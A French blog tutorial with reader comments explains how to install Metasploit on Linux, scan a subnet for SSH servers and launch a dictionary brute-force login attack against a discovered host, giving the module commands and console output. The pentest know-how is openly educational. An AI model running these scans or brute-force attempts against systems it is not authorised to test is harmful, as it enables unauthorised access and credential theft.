Installation et utilisation de Metasploit sous Linux
Metasploit Framework est un logiciel spécialisé dans le développement et l'exécution d'exploits contre des machines distantes. Créé à l'origine en langage de programmation Perl, Metasploit a été complètement ré-écrit en Ruby et comporte aujourd'hui pas moins de 550 exploits et 260 modules près à l'emploi. Dans cet article, nous allons voir comment installer Metasploit sous Linux, puis nous verrons ensuite un premier exemple d'utilisation.
Sommaire
- Installer Metasploit sous Linux
- Exemple d'utilisation de Metasploit
- Quelques astuces d'utilisation de Metasploit
- Conclusion
Installer Metasploit sous Linux
Pour installer Metasploit sous Linux, nous avons besoin de quelques paquets spécifiques. Ouvrez un terminal en root et lancez la commande suivante, pour une distribution à base de RPM :
sudo yum install git ruby ruby-libs ruby-devel ruby-irb readline rubygems rubygem-bundler rubygem-rake rubygem-i18n libpcap-devel postgresql-server postgresql-devel
sudo yum-builddep -y ruby
Ou celle-ci pour une distribution à base de Debian :
sudo apt-get install build-essential git ruby libruby irb rdoc libyaml-ruby libzlib-ruby libopenssl-ruby libdl-ruby libreadline-ruby libiconv-ruby rubygems sqlite3 libsqlite3-ruby libsqlite3-dev
Une fois terminé, on installera Metasploit depuis la version Git :
git clone git://github.com/rapid7/metasploit-framework
cd metasploit-*
git pull
Metasploit est maintenant installé sur votre machine. La commande git pull, lancée depuis le répertoire d'installation, permettra de le maintenir à jour facilement. Pour lancer le logiciel, on utilisera la commande suivante en root :
./msfconsole
Exemple d'utilisation de Metasploit
Passons sans plus attendre à la partie la plus intéressante : l'utilisation de Metasploit. Dans l'exemple qui suit, nous allons scanner un réseau afin de trouver toutes machines qui possèdent un serveur SSH et obtenir ensuite la version utilisée.
On commence par regarder la liste des scanners SSH disponibles :
search ssh
Puis, on charge le bon scanner et on regarde les options disponibles :
info scanner/ssh/ssh_version
use scanner/ssh/ssh_version
show options
Module options: Name Current Setting Required Description -------- ------------------ -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 22 yes The target port THREADS 1 yes The number of concurrent threads
On définit ensuite la plage d'adresses IP à scanner (variable RHOSTS) et le nombre de threads à utiliser lors de la recherche :
set RHOSTS 192.168.1.0-192.168.1.255
set THREADS 50
show options
Pour finir, on lance le scan :
run
[*] Scanned 051 of 256 hosts (019% complete) [*] Scanned 052 of 256 hosts (020% complete) [*] 192.168.1.106:22, SSH server version: SSH-2.0-OpenSSH_4.3 [*] Scanned 256 of 256 hosts (100% complete) [*] Auxiliary module execution completed
Nous venons de découvrir une machine (192.168.1.106) qui possède un serveur SSH en version 2.0. Nous allons essayer d'aller plus loin en lançant une attaque par bruteforce sur cette dernière. Rien de plus simple avec le module "ssh_login" :
use scanner/ssh/ssh_login
show options
set RHOSTS 192.168.1.106
set RPORT 22
set THREADS 50
Parmi les options, il est possible de forcer l'arrêt dès qu'un mot de passe fonctionne. On peut également forcer le login et charger un fichier contenant une liste de passwords :
set STOP_ON_SUCCESS true
set USERNAME pti-seb
set PASS_FILE /usr/share/dict/words
run
[*] 192.168.1.106:22 - SSH - Starting buteforce [*] 192.168.1.106:22 - Attempting 98570 username and password combinations [*] 192.168.1.106:22 - SSH - Trying: username: 'pti-seb' with password: '' [-] 192.168.1.106:22 - SSH - Failed: 'pti-seb':'' [*] 192.168.1.106:22 - SSH - Trying: username: 'pti-seb' with password: 'Aachen' [-] 192.168.1.106:22 - SSH - Failed: 'pti-seb':'Aachen' [*] 192.168.1.106:22 - SSH - Trying: username: 'pti-seb' with password: 'Aaliyah' [-] 192.168.1.106:22 - SSH - Failed: 'pti-seb':'Aaliyah' [*] 192.168.1.106:22 - SSH - Trying: username: 'pti-seb' with password: 'Aaron' [-] 192.168.1.106:22 - SSH - Failed: 'pti-seb':'Aaron' ...
Quelques astuces d'utilisation de Metasploit
Si vous êtes arrivé jusqu'ici, c'est que Metasploit vous intéresse. Je vais donc vous donner une liste d'astuces supplémentaires.
Si vous voulez connaître la version de Metasploit utilisée :
msf > version
Framework: 3.4.1-dev.9325
Console : 3.4.1-dev.9372
Pour obtenir de l'aide :
help
Il est par exemple possible de définir des variables de façon globale. Pratique, car comme ça on n'a pas besoin de redéclarer RHOSTS, THREADS..., à chaque fois que l'on change de module. Pour cela, il faut utiliser setg au lieu de set :
setg RHOSTS 192.168.1.0-192.168.1.255
setg THREADS 50
Si l'on veut lister l'intégralité des exploits, modules, playloads :
search
Si l'on veut lister tous les modules de scanners :
search auxiliary ^scanner
Si l'on veut modifier le code source d'un module, on peut utiliser les commandes suivantes :
msf > use scanner/ssh/ssh_version
msf auxiliary(ssh_version) > load editor
msf auxiliary(ssh_version) > edit
Pour quitter Metasploit :
quit
Conclusion
Bien entendu, l'utilisation de Metasploit ne se limite pas qu'aux scanners. Des centaines d'exploits sont également disponibles et permettront d'attaquer tout type de machines (Linux, Windows...). Un outil de fuzzing est également intégré dans les dernières versions. Celui-ci permet de découvrir des vulnérabilités dans des logiciels. Bref, Metasploit est un outil puissant qui n'a pas fini de faire parler de lui.
24 Commentaires pour "Installation et utilisation de Metasploit sous Linux"
Flux des commentaires de cet article Ajouter un commentaireSalut,
Tu diversifies les centre d'intérêt de tes articles ^^ Passage à la sécurité :O
@Fatal1ty : Même qu'il a une section dédiée à ça : http://www.tux-planet.fr/category/securite/
@Fatal1ty @Olol_GiveMeMilk : j'allais dire pareil, la catégorie sécurité existe depuis un petit moment. Après c'est vrai que les articles sur ce thème arrivent plutôt par période. Et en ce moment, je suis dans une grosse période Metasploit !!!
Sinon, certaines personnes critiquent le fait que j'ai pris l'exemple du scanner SSH pour illustrer l'utilisation de Metasploit. Mais ce choix est mûrement réfléchi, car c'est un des rares exemples qui marchera pour tout le monde. Si j'avais opté pour l'utilisation d'un exploit, certains n'auraient pas réussi à l'utiliser (ex: certains exploits nécessitent une version particulière de Windows XP, d'Adobe... sur la machine cible), et cela peut se solder par un échec pour un débutant.
Le but de cet article est de faire simple et de permettre de comprendre rapidement comment marche Metasploit. D'autres articles arriveront plus tard, avec ce coup-ci l'exploitation de failles, l'injection de payloads (aussi connus sous le nom de shellcodes) ...
Salut !
j'ai essayé d'installer Metasploit mais au moment de creer le svn il me dit :
et dans un navigateur j'ai une erreur 404 pour cette adresse ... ça a changé ?
@Muy_Bien : tu as clairement un problème de DNS. Le domaine metasploit.com fonctionne très bien chez moi...
Juste pour dire qui à plus simple pour l'installation.
- On va sur http://www.metasploit.com/framework/download/
- On télécharge "framework-3.4.0-linux-***.run" note : (Include All Dependencies)
- On donne les droits d'exécution
- On lance dans un terminal
Et voilà =)
Et c'est cache Up2Date en plus.
@Bjnn : l'avantage de la méthode SVN est que tu te retrouve avec un metasploit à jour, surtout au niveau des modules. Un simple "svn up" permet de récupérer les dernières versions.
Je doute que l'installation par le binaire, comme tu l'indique, permette ce genre de chose.
Je l'ai installé il y a quelques heures sur ma partition ubuntu, avec la procédure que j'ai indiqué.
Et sans avoir fait quoi que ce soit d'autre j'obtient ça :
=[ metasploit v3.4.1-dev [core:3.4 api:1.0]
+ -- --=[ 563 exploits - 271 auxiliary
+ -- --=[ 209 payloads - 26 encoders - 8 nops
=[ svn r9532 updated yesterday (2010.06.15)
En sachant que lors de l'installation, le binaire propose de mettre le framework directement à jour.
Le svn r9532 me laisse pensait que ça revient à la même chose non ?
@Bjnn : ha ok. Bon ben visiblement le binaire se met à jour par la méthode SVN. Donc les deux installation reviennent au même.
@pti-seb : Sisi ! Le .run permet un update par un script !
nice, is there a GUI front-end to this?
@ethnopunk : yes you have a GUI interface (based on Gtk2) and a web interface. You can launch them with those commands :
./msfgui
./msfweb
For the Web interface, you must open a browser at this URL above to use it :
http://127.0.0.1:55555
Juste pour préciser qu'en remplacant http par https pour le svn j'ai réussi à le télécharger.
cf : mon 1er post ou je n'y suis pas arrivé.
Bonjour
Un très bon tuto,
pour la première tentative, il a fonctionné convenablement.
mais après chaque scan il me retourne l'erreur suivante
msf auxiliary(ssh_login) > run
[-] Auxiliary failed: Msf::OptionValidateError The following options failed to validat: PASS_FILE.
C'est quoi le problème???
@ghaith : PASS_FILE permet d'indiquer un fichier qui contient une liste de mots de passe. Comme ça, en regardant le message d'erreur, j'ai l'impression qu'il essaye de tester un mot de passe, mais qu'il arrive pas à le mettre dans la variable. Peux-être à cause d'un caractère spéciaux, un problème d'encodage du fichier ...
Sinon il te reste le bugzilla de Metasploit...
Bonjour moi j'ai ce message apres avoir lancé la commande
xxxxxxxxxxxmetasploit$ search ssh
Sphinx 0.9.9-release (r2117)
Copyright (c) 2001-2009, Andrew Aksyonoff
using config file '/etc/sphinxsearch/sphinx.conf'...
FATAL: failed to connect to MySQL (error=Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2))
xxxxxxxxxxx/metasploit$ svn up
À la révision 11109.
la façon d'installer avec le .run est plus judicieu il mettra metasploit par défaut dans /opt/
en 3 commande c'est fait wget framework.run
chmod +x le.run
sudo ./le.run
et ensuite on le lance avec msfconsole
@ptitom : essaye de le lancer sans le support des bases de données :
@coyotus : l'avatange du svn est d'avoir les derniers exploits...
pendant l'installation via le .run il propose de mettre à jour,
de plus via le svn on ne peut le lancer que depuis le répertoire de metasploit.
bonjour a tous merci pour ce tuto mais j'ai un petit souci je bloque lors du lancement run j'ai configurer le set RHOSTS EN 198.168.1.06192.168.1.255 et le THREADS 50 mais lorsque je lance le run cela me marque auxiliary failed: Msf :: ptionValidateError The Following options failed to validate: RHOSTS.
Merci de m'éclairer un peu plus la dessus svp
@sydge87 : bien la plage d'adresses 198.168.1.06192.168.1.255 n'est pas valide. Ce ne serait pas putôt ceci :
set RHOSTS 192.168.1.6-192.168.1.255
Installer par défaut sur BackTrack tt les version ... merci pour le tutoriel et les astuces
Tres interessant, j'admire bcp votre blog sinon j'aimerais bien savoir beaucoup plus sur des exploits avec Metasploit. Merci !
Bonjour, j'ai unh soucis lors de l'execution de msfconsole, j'ai mis a jour mes dépendances, mais là je ne vois pas quoi faire ! si quelqu'un a une reponse, merci d'avance !
/home/valentin/metasploit-framework/config/boot.rb:19: undefined method `to_path' for # (NoMethodError)
from /home/valentin/metasploit-framework/config/boot.rb:15:in `each'
from /home/valentin/metasploit-framework/config/boot.rb:15
from ./msfconsole:45:in `require'
from ./msfconsole:45